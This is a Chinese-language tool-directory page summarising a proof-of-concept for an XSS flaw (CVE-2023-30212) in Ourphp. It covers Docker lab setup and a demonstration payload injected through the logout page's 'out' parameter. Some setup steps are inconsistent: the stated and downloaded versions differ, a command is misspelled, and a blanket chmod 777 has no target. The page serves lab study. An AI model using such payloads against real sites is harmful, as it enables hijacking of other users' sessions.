Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-30212-POC — CVE-2023-30212 的概念验证漏洞利用程序,针对 Ourphp 7.2.0 中的 XSS 漏洞,包含 Docker 环境搭建和载荷演示。 | Kitploit
工具/GitHubGitHub/arunsnap/cve-2023-30212-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubarunsnap/cve-2023-30212-poc

CVE-2023-30212-POC

CVE-2023-30212 的概念验证漏洞利用程序,针对 Ourphp 7.2.0 中的 XSS 漏洞,包含 Docker 环境搭建和载荷演示。

查看仓库
113年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-30212-POC

创建易受攻击的 Docker 环境并利用 Ourphp 7.2.0 版本中的漏洞(CVE 2023 30212)

步骤 1:在您的系统中下载并安装 Docker。我使用 Docker,因为安装 Ubuntu 快速且简单。

步骤 2:设置 Docker 环境

root@kitploit:~
sudo apt-get install docker.io
docker pull ubuntu
docker run -d -t --name test-container -p 80:80 -p 443:44
3 -p 3306:3306 -p 21:21 ubuntu
docker exec -it test-container bash

步骤 3:安装依赖项

root@kitploit:~
apt-get update
apt-get install wget
apt-get install nano
apt-get install unzip
apt-get install net-tools
apt-get install locate

步骤 4:安装 Web 服务器、PHP 和 MySQL。我将为此安装 XAMPP 服务器。

root@kitploit:~
wget https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Linux/7.2.0/xampp-linux-x64-7.2.0-0-installer.run
chmod +x xampp-linux-x64-7.2.0-0-installer.run
./xampp-linux-x64-7.2.0-0-installer.run
cd /opt/lampp
./xmapp start

步骤 5:下载 Ourphp 7.2.0 版本

root@kitploit:~
wget https://zdown.chinaz.com/202305/ourphp-zyb-v7.5.0.20230515.zip
cp ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs
unzip ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs/
chmod -R 777

步骤 6:在浏览器中设置 Ourphp。打开浏览器并输入 localhost 或 127.0.0.1,按照说明安装 Ourphp。

步骤 7:利用漏洞。Ourphp 7.2.0 版本存在 XSS(跨站脚本)漏洞。为了缓解 /client/manage /ourphp_out.php 文件中允许执行 XSS 代码的漏洞

登录 发现

您需要修改代码。漏洞源于当 "ourphp_admin" 参数设置为 "logout" 时,可控制的变量是 "out"。

最终

概念验证

root@kitploit:~
 payload - "</script><script>alert('xss')</script>".

参数 - http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=

视频

视频
(https://www.youtube.com/watch?v=l9lHyjY9_X0)

下载工具